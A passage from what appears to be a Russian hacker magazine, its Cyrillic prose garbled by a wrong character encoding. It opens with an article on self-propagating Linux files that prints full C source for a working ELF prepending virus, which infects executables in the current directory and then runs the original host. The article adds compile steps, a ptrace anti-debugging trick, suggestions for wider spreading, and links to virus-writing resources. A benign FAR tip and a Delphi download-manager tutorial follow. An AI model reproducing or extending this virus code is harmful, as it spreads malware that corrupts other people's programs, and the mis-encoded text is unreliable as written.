 îáùåì, êîìó ÷òî íðàâèòñÿ. Íî êàê åãî íè íàçîâè, ýòî ïðîñòî ÏÐÎÃÐÀÌÌÀ, îáëàäàþùàÿ òåìè<br />
èëè èíûìè âîçìîæíîñòÿìè, è îñíîâíîé åå çàäà÷åé ÿâëÿåòñÿ âíåäðåíèå ñîáñòâåííîãî êîäà â òåëî<br />
äðóãîé ïðîãðàììû-æåðòâû ñ öåëüþ "âûæèâàíèÿ" (ðåæå - äåñòðóêöèè).<br />
saparmurat<br />
Ðàçäåë îïèñàíèÿ ELF-çàãîëîâêà<br />
Ðàññìàòðèâàòü<br />
âñå ýëåìåíòû íåò íåîáõîäèìîñòè, ïîýòîìó áóäåò ïðèâåäåíà ëèøü ïàðà ïðèìåðîâ.<br />
Åñëè èíòåðåñíî óçíàòü îá ýòîì ïîáîëüøå, ÷èòàé äîêóìåíòàöèþ ïî ELF è èçó÷àé<br />
/usr/include/elf.h.<br />
Ñóùåñòâóåò äîâîëüíî ìíîãî ìåòîäîâ çàðàæåíèÿ (òåõíèê), íàïðèìåð UEP (Unknow Entry<br />
Point - íåèçâåñòíàÿ òî÷êà âõîäà). Òåëî èíôåêòîðà ñëó÷àéíûì îáðàçîì ïîìåùàåòñÿ â<br />
ïðîãðàììó. Ïðè îïðåäåëåííûõ äîðàáîòêàõ ýòîé òåõíèêè èçëå÷åíèå ôàéëà ñòàíîâèòñÿ<br />
ïðàêòè÷åñêè íåâîçìîæíûì. Ñóùåñòâóþò, êîíå÷íî, è äðóãèå ìåòîäû, íî ïî÷òè âñå îíè<br />
î÷åíü ñëîæíû â ðåàëèçàöèè.<br />
Èòàê, ïðèìåð "æèâîãî ñàìîðàñïðîñòðàíÿþùåãî ìåõàíèçìà" èñïîëüçóåò ñëåäóþùóþ<br />
òåõíèêó:<br />
1. Íàõîæäåíèå æåðòâû.<br />
2. Åå çàðàæåíèå. Îíî ïðîèñõîäèò ïóòåì äîáàâëåíèÿ êîäà â íà÷àëî òåëà æåðòâû.<br />
3. Îòäåëåíèå òåëà èíôåêòîðà îò òåëà ïðîãðàììû-íîñèòåëÿ, ñîçäàíèå ïðîìåæóòî÷íîãî<br />
ôàéëà, âïèñûâàíèå â íåãî òåëà ïðîãðàììû è çàïóñê. Òåõíèêà êðàéíå ïðîñòà, íî äåéñòâåííà<br />
è íàèáîëåå ïîíÿòíà äëÿ íåïîñâÿùåííûõ.<br />
74<br />
Òàêîé ïðîãðàììå íåîáõîäèìî çíàòü, ÿâëÿåòñÿ ëè íàéäåííàÿ æåðòâà çàðàæåííîé. Äëÿ<br />
ýòîãî âûáðàí îäèí èç ýëåìåíòîâ ELF-çàãîëîâêà, à èìåííî e_version. Ïðè çàðàæåíèè<br />
ôàéëà åãî çíà÷åíèå èçìåíÿåòñÿ íà 2. Íà ðàáîòîñïîñîáíîñòü ïðîãðàììû òàêèå âåùè íèêàê<br />
íå ïîâëèÿþò, à äëÿ èíôåêòîðà ýòî áóäåò âïîëíå îïðåäåëåííûì çíàêîì.
Êîä ELF-ðàñïðîñòðàíèòåëÿ<br />
/* ELF_Infector.c */<br />
#include <br />
#include <br />
#include // äëÿ èñïîëüçîâàíèÿ fstat\stat<br />
#include <br />
#include // DIR<br />
#include // Äëÿ ðàáîòû ñ ELF header'îì<br />
#define Max_Infect_Counter 1 // Ìàêñèìàëüíîå ÷èñëî çàðàæàåìûõ<br />
ôàéëîâ çà 1 ðàç<br />
#define Virus_Length // Çäåñü íåîáõîäèìî âñòàâèòü äëèíó<br />
ýòîãî ñêîìïèëåííîãî ôàéëà<br />
#define Temp_File ".temp" // Ïðîìåæóòî÷íûé ôàéë<br />
// Îáúÿâëåíèå èñïîëüçóåìûõ ïåðåìåííûõ<br />
char *Original_Body, *New_Body, *Virus_Body,Directory[100], Target_Name[100];<br />
int Length, Fdesc, Flag_Infected = 0, Infected_Counter;<br />
struct stat Status;<br />
struct dirent *d;<br />
DIR *dp;<br />
Elf32_Ehdr ELF_Header;<br />
int main(int argc, char *argv[], char *envp[])<br />
{<br />
// Îòêðûâàíèå ñàìîãî ñåáÿ è âû÷èñëåíèå äëèíû<br />
Fdesc = open(argv[0], O_RDONLY);<br />
fstat(Fdesc, &Status);<br />
lseek(Fdesc, 0, 0);<br />
// Ïðîâåðêà äëèíû<br />
if(Status.st_size == Virus_Length) // Åñëè çàïóùåí ãîëûé èíôåêòîð...<br />
{<br />
Length = Virus_Length;<br />
Virus_Body=malloc(Virus_Length);<br />
read(Fdesc, Virus_Body, Virus_Length);<br />
}<br />
else // Åñëè óæå çàðàæåí...<br />
{<br />
Length = Status.st_size - Virus_Length;<br />
Flag_Infected=1;<br />
// ×òåíèå ñâîåãî òåëà, çàòåì òåëà îðèãèíàëüíîé ïðîãðàììû è ñîõðàíåíèå èõ â<br />
îòâåäåííûé áóôåð<br />
Virus_Body=malloc(Virus_Length);<br />
read(Fdesc, Virus_Body, Virus_Length);<br />
lseek(Fdesc, Virus_Length,0);<br />
Original_Body = malloc(Length);<br />
read(Fdesc, Original_Body, Length);<br />
}<br />
close(Fdesc);<br />
if (Flag_Infected == 1) // Åñëè óæå çàðàæåíû...<br />
{<br />
// Çàïèñü îðèãèíàëüíîãî êîäà â ïðîìåæóòî÷íûé ôàéë<br />
Fdesc = open(Temp_File, O_RDWR | O_CREAT | O_TRUNC,<br />
Status.st_mode);<br />
if (Fdesc < 0){close(Fdesc);Fdesc = open(Temp_File, O_RDWR ,<br />
Status.st_mode); }<br />
write(Fdesc, Original_Body, Length);<br />
close(Fdesc);<br />
// Ïîèñê æåðòâû<br />
Find_Target(argv[0]);<br />
// Ïîñëå òîãî êàê çàðàæåíèå ïðîèçîøëî, çàïóñê îðèãèíàëüíîãî êîäà<br />
execve(Temp_File, argv, envp);<br />
}<br />
else<br />
{<br />
// Èíà÷å ïîèñê æåðòâû, çàðàæåíèå è âûõîä<br />
Find_Target(argv[0]);<br />
exit(0);<br />
}<br />
}<br />
// Ïðîöåäóðà çàðàæåíèÿ, â êà÷åñòâå ïàðàìåòðà ïðèíèìàåò èìÿ íàéäåííîé<br />
æåðòâû<br />
Infecting(char *Target)<br />
{<br />
// Ñ÷èòûâàíèå ELF-çàãîëîâêà<br />
Fdesc = open(Target, O_RDWR , Status.st_mode);<br />
read(Fdesc, &ELF_Header,sizeof(ELF_Header));<br />
// Ïðîâåðêà çíà÷åíèÿ e_version, åñëè 2, òî âîçâðàùåíèå â Find_Target<br />
è ïðîäîëæåíèå...<br />
75
Êîäèíã<br />
ÑÀÌÎÐÀÑÏÐÎÑÒÐÀÍßÞÙÈÅÑß ÔÀÉËÛ ÏÎÄ LINUX<br />
saparmurat<br />
if (ELF_Header.e_version==0x2){return(0);}else<br />
{<br />
// ×òåíèå òåëà ïðîãðàììû<br />
fstat(Fdesc, &Status);<br />
lseek(Fdesc, 0, SEEK_SET);<br />
New_Body = malloc(Status.st_size);<br />
read(Fdesc, New_Body, Status.st_size);<br />
lseek(Fdesc, 0, SEEK_SET);<br />
// Çàïèñü òåëà âèðóñà<br />
write(Fdesc, Virus_Body, Virus_Length);<br />
// Òåëî ïðîãðàììû<br />
write(Fdesc, New_Body, Status.st_size);<br />
// Óñòàíîâêà çíà÷åíèÿ e_version ðàâíîå äâóì<br />
lseek(Fdesc,0,0);<br />
read(Fdesc, &ELF_Header, sizeof(ELF_Header));<br />
ELF_Header.e_version=0x2;<br />
lseek(Fdesc,0,0);<br />
write(Fdesc, &ELF_Header, sizeof(ELF_Header));<br />
close(Fdesc);<br />
// Óâåëè÷åíèå ñ÷åò÷èêà çàðàæåííûõ ôàéëîâ<br />
Infected_Counter++;<br />
}<br />
}<br />
printf("%s Infected!\n",Target);<br />
// Ïðîöåäóðà ïîèñêà æåðòâû, â êà÷åñòâå ïàðàìåòðà ïðèíèìàåò argv[0], ò.å. íàçâàíèå<br />
çàïóùåííîãî ôàéëà. Ýòî íåîáõîäèìî äëÿ òîãî,<br />
// ÷òîáû ïðîïóñòèòü ñîáñòâåííîå çàðàæåíèå.<br />
Find_Target(char *Our_Name)<br />
{<br />
getcwd(Directory,100); // Ïîëó÷èòü òåêóùóþ äèðåêòîðèþ<br />
dp=opendir(Directory);<br />
while(d=readdir(dp)) // Ïîêà åñòü ýëåìåíòû â äèðåêòîðèè (ôàéëû)<br />
{<br />
if(d->d_ino != 0) // Ñ÷èòûâàíèå ïåðâîãî ôàéëà<br />
{<br />
stat(d->d_name,&Status); // Ïîëó÷åíèå åãî ñâîéñòâ<br />
if((Status.st_mode&S_IXUSR)!=0 ) // Åñëè ýòî èñïîëíÿåìûé ôàéë, à<br />
íå äèðåêòîðèÿ/òåêñòîâûé ôàéë etc...<br />
{<br />
sprintf(Target_Name,"./%s",d->d_name); / /<br />
Ñâåðêà èìåíè ýëåìåíòà ñî ñâîèì<br />
if(((S_ISREG(Status.st_mode)))&(strcmp(Target_Name,Our_Name)!=0))<br />
{<br />
if (Infected_Counter < Max_Infect_Counter) // Ïðîâåðêà<br />
ñ÷åò÷èêà çàðàæåíèé<br />
{<br />
Infecting(d->d_name); // Âûçîâ ïðîöåäóðû<br />
çàðàæåíèÿ<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
Âîò, ñîáñòâåííî, è âåñü êîä.<br />
Êîìïèëèðîâàíèå:<br />
$gcc ELF_Infector.c -o infector<br />
$strip infector // åñëè èìååòñÿ strip, òî èì ëó÷øå âîñïîëüçîâàòüñÿ<br />
Òåïåðü ïðîâåðêà âûøåîïèñàííîãî êîäà. Íåîáõîäèìî çàêèíóòü èíôåêòîð âìåñòå ñ<br />
íåñêîëüêèìè ïîäîïûòíûìè ïðîãðàììàìè. Ïîñëå çàïóñêà ÷àñòü èç íèõ áóäóò èìåòü<br />
áîëüøèé ðàçìåð, ÷åì èçíà÷àëüíî. Ýòî îçíà÷àåò, ÷òî ïðîãðàììà çàðàæåíà.<br />
Òðèêñû<br />
Âîçìîæíî, ýòîò ïðèìåð íå ïîëíîñòüþ îïòèìèçèðîâàí. Îí ëèøü ïîêàçûâàåò, êàêèì<br />
îáðàçîì ïðîèñõîäèò çàðàæåíèå. Ìîæíî, ê ïðèìåðó, äîáàâèòü ôóíêöèþ ñîõðàíåíèÿ<br />
ïàðàìåòðîâ ôàéëà, ò.å. âðåìÿ ñîçäàíèÿ/èçìåíåíèÿ. È ýòè çíà÷åíèÿ áóäóò îñòàâàòüñÿ<br />
íåòðîíóòûìè ïîñëå çàðàæåíèÿ. Åùå äîáàâèòü íåêîòîðûå ôóíêöèè àíòèäåáàãà, íàïðèìåð,<br />
èñïîëüçîâàòü PTRACE. PTRACE - ýòî íå ýêñïëîèò, êàê ìíîãèå ìîãóò ïîäóìàòü<br />
=), à ñèñòåìíûé âûçîâ, ñëóæàùèé äëÿ äåáàãà ïðîöåññîâ. Ñàì PTRACE íå ìîæåò áûòü<br />
âûçâàí äâà ðàçà ïîäðÿä â îäíîì è òîì æå ïðîöåññå. Ò.å. ïðè âûçîâå åãî ÷åðåç êàêîéíèáóäü<br />
strace âûïàäåò îøèáêà. Âîò ïðîñòîé ïðèìåð:<br />
#include <br />
int main()<br />
{<br />
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0)<br />
{<br />
printf("Someone trying to debug us =)...\n");<br />
exit(1);<br />
}<br />
}<br />
Îò îòëàäêè ýòî, êîíå÷íî, íå ñïàñåò, íî ïîòðåïëåò íåðâû íà÷èíàþùèì =).<br />
Ìîæíî ïîèãðàòüñÿ è ñ àëãîðèòìîì çàðàæåíèÿ. Âåäü äàííûé èíôåêòîð îãðàíè÷åí<br />
òîëüêî òåêóùåé ïàïêîé, à ìîæíî äîáàâèòü ïîäúåì íà óðîâåíü ââåðõ (..). Íåêîòîðûå<br />
ìîãóò äîáàâèòü â íåãî backdoor, íî ýòî óæå ñîâñåì íåçàêîííûå äåéñòâèÿ. Íà ñàìîì<br />
äåëå âñå îãðàíè÷èâàåòñÿ òîëüêî ôàíòàçèåé è óðîâíåì çíàíèé. Ê òîìó æå ñåé÷àñ ñòàëè<br />
ïîÿâëÿòüñÿ ðàçëè÷íûå äâèæêè: ìóòèðóþùèå, ïåðìóòèðóþùèå, ãåíåðàòîðû ìóñîðà<br />
è äðóãèå... Íî âñå ýòè ðåàëèçàöèè â îñíîâíîì ïîä WIN. Ïîä Unix ãîòîâûõ äâèæêîâ<br />
ïðàêòè÷åñêè íåò.<br />
Ïîñëåñëîâèå<br />
Ïîäâîäÿ èòîã, õî÷ó äîáàâèòü ïàðó ñëîâ. Ïèñàòü òàêèå âåùè íà Ñ - íå ñàìûé ëó÷øèé<br />
âàðèàíò. HLL âñåãäà îòëè÷àëèñü ñâîåé òîëñòîêîäîñòüþ. Ãîðàçäî ëó÷øå ïèñàòü<br />
íà ÷èñòîì àñìå, âåäü èòîãîâûé ðàçìåð áóäåò ñóùåñòâåííî ìåíüøå. Íà<br />
êðàéíÿê ìîæíî èñïîëüçîâàòü Inline Assembler, ò.å àññåìáëåðíûå âñòàâêè â Ñ êîä.<br />
Íåñìîòðÿ íà òî, ÷òî ïèñàòü íà íåì ñëîæíåå, êîä ïîëó÷àåòñÿ êîìïàêòíûì<br />
è ïëàñòè÷íûì, ÷òî ÿâëÿåòñÿ îñíîâíûì óñëîâèåì ïðè èñïîëüçîâàíèè<br />
ðàçëè÷íûõ äâèæêîâ.  îáùåì, ïèñàòü ìîæíî ïî-ðàçíîìó, âñå<br />
çàâèñèò îò òâîèõ çíàíèé. Òàê ÷òî íàäî ó÷èòüñÿ, ó÷èòüñÿ è ó÷èòüñÿ...<br />
ELF - Executable and Linking Format. Îñíîâíîé ôîðìàò èñïîëíÿåìûõ ôàéëîâ<br />
ïîä Unix. Îí èñïîëüçóåòñÿ â Linux, BSD-ñèñòåìàõ, ñîëÿðêå.<br />
Ïðîãðàììà strip óìåíüøàåò ðàçìåð áèíàðíèêà çà ñ÷åò óäàëåíèÿ ñèìâîëüíûõ<br />
ñåêöèé, êîòîðûìè ìîæíî ïðåíåáðå÷ü.<br />
76<br />
Ëèíêè ê ñòàòüå<br />
http://193.231.122.29/papers/programm/ELF.pdf - ôîðìàò ELF, òàì æå<br />
íàõîäèòñÿ êó÷à äðóãèõ ïîëåçíûõ äîêîâ.<br />
http://z0mbie.host.sk<br />
http://vx.netlux.org/lib/virus-writing-HOWTO/index.xhtml - îòëè÷íàÿ äîêà äëÿ<br />
ëèíóêñîèäîâ.<br />
Tips&Tricks<br />
Êàê èçâåñòíî FAR ðàñøèôðîâûâàåòñÿ<br />
êàê File and ARchive<br />
manager (îáðàòè âíèìàíèå íà<br />
ñëîâî «archive»). Íî ó ìíîãèõ<br />
FAR íå íàñòðîåí íà êîððåêòíóþ<br />
ðàáîòó ñ àðõèâàìè. Äëÿ<br />
òîãî ÷òîáû ýòî èñïðàâèòü, íàäî<br />
â ïàïêó, ãäå óñòàíîâëåí Far<br />
(\Program Files\Far), ïîìåñòèòü<br />
ôàéëû àðõèâàòîðîâ, íàïðèìåð:<br />
pkzip.exe, pkunzip.exe,<br />
Rar.exe, ARJ, lha... Ïîñëå ýòîãî<br />
òû ñìîæåøü ðàáîòàòü ñ àðõèâàìè<br />
äåéñòâèòåëüíî êàê ñ<br />
ïàïêàìè. Êñòàòè, ôàéë Rar.exe<br />
ëó÷øå áðàòü èç ïàïêè ñ óñòàíîâëåííûì<br />
WinRAR'îì (òàì îí<br />
òîé æå âåðñèè, ÷òî è ñàì<br />
WinRAR). È íå çàáûâàé ïðî<br />
Shift+Enter â FAR - ýòî, òàê<br />
ñêàçàòü, çàïóñê ôàéëà èëè<br />
ïàïêè (íà êîòîðîì/êîòîðîé<br />
íàæàëè ýòè êíîïêè) ñðåäñòâàìè<br />
Windows, ò.å. ïàïêà îòêðîåòñÿ<br />
Îáîçðåâàòåëåì, à êîíñîëüíîå<br />
ïðèëîæåíèå çàïóñòèòñÿ<br />
â íîâîì îêíå.<br />
Äàíèë<br />
www.625.ru
Êîäèíã<br />
DELPHI ÄËß ÊÀ×ÊÎÂ<br />
Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />
ÐÅÊÂÈÇÈÒ<br />
Îí íàì ïîíàäîáèòñÿ. Ïðîøëè òå âðåìåíà, êîãäà âñå äåëàëîñü â äâà äèàëîãà è îäíó<br />
ñòðî÷êó êîäà. Íàì ïðèäåòñÿ ïèñàòü ïðîãðàììó ñ èñïîëüçîâàíèåì ôóíêöèé áèáëèîòåêè<br />
WinInet.dll è çàãîëîâî÷íîãî ôàéëà, ñîîòâåòñòâåííî, WinInet.Pas. Ñðàçó ïðîïèøè åãî<br />
â uses, à òî ïîòîì çàáóäåøü è íà÷íåøü òûêàòüñÿ, èñêàòü ñâîþ îøèáêó. Òàê âîò, äàâàé<br />
äëÿ íà÷àëà ïîïðîáóåì ðàçîáðàòüñÿ ñ ñàìûìè íåîáõîäèìûìè ôóíêöèÿìè, à ñ îñòàëüíûìè<br />
òû ðàçáåðåøüñÿ ñàì íà msdn.microsoft.com (ïîëíûé ëèíê äàâàòü íå áóäó, ò.ê. îí<br />
Î×ÅÍÜ áîëüøîé). Ïîñìîòðè òàì ñëåäóþùèå ôóíêöèè: InternetDial, InternetGoOnline<br />
èëè InternetCrackUrl (äóìàþ, ýòà ôóíêöèÿ òåáÿ äîëæíà çàèíòåðåñîâàòü :)). Íî âåðíåìñÿ<br />
ê ðåàëüíîñòè. Ó íàñ íà ïîâåñòêå äíÿ ñëåäóþùèå ôóíêöèè:<br />
1) function InternetOpen(lpszAgent: PChar; dwAccessType: DWORD;<br />
lpszProxyName, lpszProxyBypass: PChar; dwFlags: DWORD): HINTERNET; stdcall;<br />
Îíà îòêðûâàåò èíòåðíåò-ñåññèþ äëÿ ïðèëîæåíèÿ. Âîò êàêèå ó íåå àðãóìåíòû:<br />
lpszAgent - èìÿ ïðîãðàììû. Ñåðüåçíûå ëþäè ïèøóò application.exename, à ñòàðèêè -<br />
ParamStr(0). Íà ñàìîì äåëå ýòî íå òàê âàæíî, ïðîãðàììà âñå ðàâíî áóäåò ðàáîòàòü.<br />
dwAccessType - ñïîñîá ñîåäèíåíèÿ. Âîò åãî òèïû:<br />
PRE_CONFIG_INTERNET_ACCESS - êàê â ðååñòðå.<br />
INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY - íå þçàòü internet setup file.<br />
GATEWAY_INTERNET_ACCESS - ÷åðåç øëþç.<br />
CERN_PROXY_INTERNET_ACCESS - ÷åðåç ïðîêñè.<br />
lpszProxyName - èìÿ ïðîêñè.<br />
lpszProxyBypass - êîìó íå íàäî èñïîëüçîâàòü ïðîêñþ.<br />
dwFlags - ðåæèì ðàáîòû. Åñëè ñòàâèòü INTERNET_FLAG_ASYNC, òî áóäåò àñèíõðîííûé.<br />
 äàííîì ñëó÷àå ýòî òîëüêî äîïîëíèòåëüíûé íàïðÿã, ïîýòîìó ñòàâü 0.<br />
2) function InternetOpenUrl(hInet: HINTERNET; lpszUrl: PChar;<br />
lpszHeaders: PChar; dwHeadersLength: DWORD; dwFlags: DWORD;<br />
dwContext: DWORD): HINTERNET; stdcall;<br />
Ýòî ôóíêöèÿ îòêðûâàåò çàäàííûé ÓÐË! :) Åå îïèñàíèå:<br />
hInet - ïåðåìåííàÿ òèïà HINTERNET. Åå çíà÷åíèå âîçâðàùàåò ôóíêöèÿ InternetOpen.<br />
lpszUrl - ñîáñòâåííî ñàì ÓÐË.<br />
lpszHeaders - äîïîëíèòåëüíûå ñòðîêè â ÍÒÒÐ çàïðîñå. Íàì îíè íå íóæíû.<br />
dwHeadersLength - èõ äëèíà.<br />
dwFlags - èõ òóò áîëüøå 10 çíà÷åíèé. Âîò ñàìîå íóæíîå:<br />
INTERNET_FLAG_EXISTING_CONNECT - íå ñîçäàâàòü äëÿ îáúåêòà íîâîãî ñîåäèíåíèÿ.<br />
dwContext - ïèøè 0.<br />
3) function InternetReadFile(hFile: HINTERNET; lpBuffer: Pointer;<br />
dwNumberOfBytesToRead: DWORD; var lpdwNumberOfBytesRead: DWORD): BOOL; stdcall;<br />
Delphi<br />
äëÿ êà÷êîâ<br />
Ëþáîìó ÷åëîâåêó, ìàëî-ìàëüñêè çíàêîìîìó ñ èíòåðíåòîì, èçâåñòíû òàêèå ïðîãðàììû-êà÷àëêè,<br />
êàê GetRight, Reget è Flashget. Èõ ðàñïëîäèëîñü âåëèêîå ìíîæåñòâî, âñå îíè çàíèìàþò ïåðâûå<br />
ìåñòà â ðåéòèíãàõ è ïðîäàþòñÿ çà íåìàëûå äåíüãè. FlashGet, íàïðèìåð, ïîñòîÿííî òðåáóåò<br />
îò ìåíÿ çàïëàòèòü áóðæóþ $29.99 çà äàëüíåéøåå èñïîëüçîâàíèå åãî ïðîãðàììû. Âñå ýòî, êîíå÷íî,<br />
ïîíÿòíî, õî÷åòñÿ äåíåã, äà ïîáîëüøå... Íî ðàçâå ðóññêèé ÷åëîâåê ìîæåò çàïëàòèòü òàêóþ<br />
ñóììó? :) Òàê ÷òî äàâàé ñåãîäíÿ íàïèøåì ñâîé Reget, è òû ñìîæåøü äåìîíñòðèðîâàòü âñåì<br />
çíàêîìûì äåâóøêàì ñâîþ ôèçèîíîìèþ â about ïðîãðàììû :).<br />
Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />
InternetReadFile ÷èòàåò óäàëåííûé ôàéë. Åñëè òû çíàêîì ñî ñòàðîé äîáðîé ReadFile<br />
(èëè _lRead), òî ïîéìåøü ñàì, à ýòî äëÿ òåõ, êòî íå çíàåò:<br />
hFile - ñþäà òû ïîäñòàâëÿåøü çíà÷åíèå èç ïðåäûäóùåé ôóíêöèè (ìîæíî è FtpOpenFile,<br />
åñëè òåáå ýòî áëèæå).<br />
lpBuffer - áóôåð, ÷åðåç íåãî ìû áóäåì ÷èòàòü ôàéë. Êàê òû äîëæåí ïîìíèòü, áóôåð -<br />
ýòî ìàññèâ. Òàêèì îáðàçîì, ôàéë ÷èòàåòñÿ êóñêàìè, ðàâíûìè ðàçìåðó ýòîãî ìàññèâà,<br />
à ó íàñ îí îáúåìîì 1024 áàéòà, ò.å. îäèí êèëîáàéò.<br />
dwNumberOfBytesToRead - êàêîå êîëè÷åñòâî áàéò íåîáõîäèìî ïðî÷åñòü. Îí äîëæåí<br />
áûòü ðàâåí ðàçìåðó íàøåãî ìàññèâà, ò.å. 1024.<br />
lpdwNumberOfBytesRead - ñêîëüêî æå äåéñòâèòåëüíî áàéò ïðî÷èòàíî.<br />
Åñëè âñå îòëè÷íî, òî ôóíêöèÿ âîçâðàùàåò true, èíà÷å - false.<br />
4) function InternetSetFilePointer(hFile: HINTERNET;<br />
lDistanceToMove: Longint; pReserved: Pointer;<br />
dwMoveMethod, dwContext: DWORD): DWORD; stdcall;<br />
Äëÿ íåçíàêîìûõ ñ SetFilePointer ïîÿñíþ. Ýòà ôóíêöèÿ ñäâèãàåò ïîçèöèþ ÷òåíèÿ ôàéëà<br />
íà çàäàííîå ÷èñëî áàéò. Ò.å. åñëè òåáå íàäî ïðî÷èòàòü ôàéë íå ñ íà÷àëà, à ñ îòìåòêè<br />
1000 áàéò, òî ïîëüçóéñÿ InternetSetFilePointer. Âîò åå ïàðàìåòðû:<br />
hFile - ýòîò ïàðàìåòð óæå ðàññìàòðèâàëñÿ.<br />
lDistanceToMove - íà êàêîå êîëè÷åñòâî áàéò ñìåùàòü óêàçàòåëü.<br />
pReserved - îñòàâëåíî äî ëó÷øèõ âðåìåí, à ñàìî çíà÷åíèå äîëæíî áûòü ðàâíî íóëþ.<br />
dwMoveMethod - îòêóäà äåëàòü ñìåùåíèå:<br />
FILE_BEGIN - ñ íà÷àëà.<br />
FILE_END - ñ êîíöà :).<br />
FILE_CURRENT - ñ òåêóùåé ïîçèöèè.<br />
dwContext - äîëæíî áûòü íóëåì.<br />
Êàê òû óæå äîãàäàëñÿ, ýòà ôóíêöèÿ è áóäåò îáåñïå÷èâàòü íàì äîêà÷êó. Åñëè êîííåêò<br />
ïðåðâåòñÿ íà îòìåòêå 1.2 Ìá, òî ìû ñìîæåì âåðíóòüñÿ íà íóæíóþ íàì ïîçèöèþ. Ïðè<br />
óñïåøíîì âîçâðàòå ôóíêöèÿ âåðíåò çíà÷åíèå â 1.2 Ìá. Íî ó÷òè, åñëè ñåðâàê íå ïîääåðæèâàåò<br />
äîêà÷êè, òî ôàéë ïðèäåòñÿ ÷èòàòü ñ ñàìîãî íà÷àëà.<br />
5) function InternetQueryDataAvailable(hFile: HINTERNET; var<br />
lpdwNumberOfBytesAvailable: DWORD;<br />
dwFlags, dwContext: DWORD): BOOL; stdcall;<br />
78<br />
Îíà âûÿñíÿåò îáúåì äîñòóïíûõ äàííûõ, ò.å. ðàçìåð çàïðàøèâàåìîãî ôàéëà. Ïîÿñíåíèÿ:<br />
hFile - ïåðåìåííàÿ òèïà HINTERNET. Óæå ðàññìàòðèâàëàñü âûøå.<br />
lpdwNumberOfBytesAvailable - äîñòóïíûå áàéòû.<br />
dwFlags - ñòàâü â 0.<br />
dwContext- çäåñü òàêæå óñòàíîâè 0.
6) function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;<br />
 InternetCloseHandle íåò íè÷åãî ñëîæíîãî. Ýòà ôóíêöèÿ ïðîñòî çàêðûâàåò èíòåðíåò-ñåññèþ.<br />
Âñå. Ñ ðàçáîðîì ôóíêöèé ìû çàêîí÷èëè. Èõ òåáå õâàòèò äëÿ íàïèñàíèÿ ïðèìèòèâíîãî<br />
ãåòðàéòà :). À åñëè òû îçíàêîìèøüñÿ ñ MSDN'îâñêèìè äîêàìè è ïîéìåøü<br />
ðàáîòó ïîòîêîâ... Òîãäà ÿ áóäó æäàòü 80% ñêèäêè íà òâîé VasyaExtraGet çà 9.99$<br />
:). Òàê ÷òî çàêðûâàé æóðíàëü÷èê, ïîïåé ïèâêà, è ñàäèñü êîäèòü. Ãëàâíîå, íå óáåé<br />
ïðàâèëüíîå íàñòðîåíèå. Åñëè åãî ïîêà íåò, íå ðàññòðàèâàéñÿ, áóäåì ïèñàòü âìåñòå<br />
:).<br />
ÈÍÒÅÐÔÅÉÑ<br />
Êèäàé íà ôîðìó äâà TEdit, ÷åòûðå TLabel, SaveDialog è 4 Êíîïêè. Ïîñòàðàéñÿ ðàñïîëîæèòü<br />
ýòî äîáðî êàê íà ðèñ.1:<br />
Ïåðâûå 3<br />
êíîïêè îáçîâè (ïàðàìåòð "caption"): "Çàãðóçèòü", "Îòìåíà" è "Âûõîä", à íà ÷åòâåðòîé<br />
ïîñòàâü 3 òî÷êè. Label’û áóäóò íàçûâàòüñÿ òàê:<br />
label1: "Îòêóäà êà÷àòü?"<br />
label2: "À êóäà ñîõðàíÿòü?"<br />
label3: "Ðàçìåð ôàéëà:"<br />
label4: "0"<br />
 îáùåì, ïîñòàðàéñÿ ñîîòâåòñòâîâàòü ðèñóíêó 2. Íà íåì âñå ïðåäåëüíî ÿñíî, òàê<br />
÷òî ïåðåéäåì ê ñàìîìó ïðîöåññó êîäèíãà.<br />
ÊÎÄÈÍÃ<br />
Ôîðìà â çà÷àòî÷íîì ñîñòîÿíèè<br />
Ôîðìà â çðåëîì ñîñòîÿíèè<br />
Äëÿ íà÷àëà äîáàâü â ðàçäåë public îáúÿâëåíèå ïåðåìåííîé NADO: boolean; (îíà<br />
íóæíà äëÿ ïðåðûâàíèÿ çàãðóçêè), ñîçäàé ñîáûòèå OnClick äëÿ 4-é êíîïêè è âïèøè<br />
òóäà òàêîé êîä:<br />
IF SaveDialog1.Execute then Edit2.Text:= SaveDialog1.FileName;<br />
Ýòîò êîä äîáàâëåí, ÷òîáû íå ââîäèòü ïóòü âðó÷íóþ. Òåïåðü ïîñìîòðè íà êîä â<br />
áëîê-âðåçêå. Ïîïûòàéñÿ ïîíÿòü ñîäåðæèìîå ýòîãî ëèñòèíãà. Ïîíÿë? Íå ïîíÿë? :)<br />
 îáùåì, íàáåé åãî â ñâîé ïðîåêò.<br />
Ëîãèêà ðàáîòû ïðîãðàììû òàêàÿ. Ñíà÷àëà ìû ïðîâåðÿåì íàëè÷èå çàäàííîãî ôàéëà.<br />
Åñëè åãî íåò, òî êà÷àåì ñ íóëÿ, åñëè æå îí ñóùåñòâóåò, òî çà íà÷àëüíóþ ïîçèöèþ<br />
äëÿ äîêà÷êè áåðåì ðàçìåð ëîêàëüíîãî ôàéëà è ïîäñòàâëÿåì ýòî çíà÷åíèå<br />
â InternetSetFilePointer. ×òî ìû è äåëàåì. Çàòåì öèêëè÷åñêè ÷èòàåì ïî 1024 áàéòà<br />
îò èíòåðíåò-ôàéëà, ïîêà íå ñêà÷àåì åãî öåëèêîì. Ýòî è áóäåò êîíåö çàãðóçêè.<br />
Õîòÿ, íà ñëó÷àé ðó÷íîãî ïðåðûâàíèÿ, âïèøè â OnClick äëÿ 2-é êíîïêè òàêîé êîä:<br />
NADO:= FALSE<br />
Âñå îñòàëüíîå ÿñíî è ïî êîììåíòàðèÿì, ïîýòîìó ÿ ïðîòåñòèðóþ ýòó ïðîãðàììó è<br />
ïåðåéäó ê çàêëþ÷åíèþ.<br />
5 ÌÈÍÓÒ - ÏÎËÅÒ ÍÎÐÌÀËÜÍÛÉ<br />
ß çàïóñòèë çàêà÷êó ôàéëà, íî â ñåðåäèíå ïðîöåññà ó ìåíÿ ïîäëî ïðåðâàëàñü<br />
ñâÿçü (ñëó÷àéíî çàäåë ìîìåä íîãîé, îí óïàë ñî ñòîëà è âûäåðíóëñÿ èç ñåòè), çà<br />
÷òî ÿ è ñëîâèë èçâåñòíîå òåáå ñîîáùåíèå. Ïîäíÿâ ìîäåì è âîññòàíîâèâ êîííåêò,<br />
